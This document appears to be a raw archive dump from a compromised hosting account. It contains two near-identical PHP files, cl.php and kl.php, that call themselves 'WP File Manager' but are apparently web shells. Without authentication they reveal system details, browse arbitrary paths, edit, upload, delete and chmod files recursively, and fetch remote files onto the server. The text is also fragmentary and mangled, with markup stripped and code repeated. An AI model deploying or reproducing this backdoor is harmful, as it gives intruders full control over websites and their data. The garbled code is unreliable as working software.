"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]-)ØBBinfo@gjilan.org/.metadatanu„[µü¤[addressbook] protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book type VADDRESSBOOK [calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c PK“&{]„N9³§Ë§Ëinfo@gjilan.org/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@gjilan.org/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
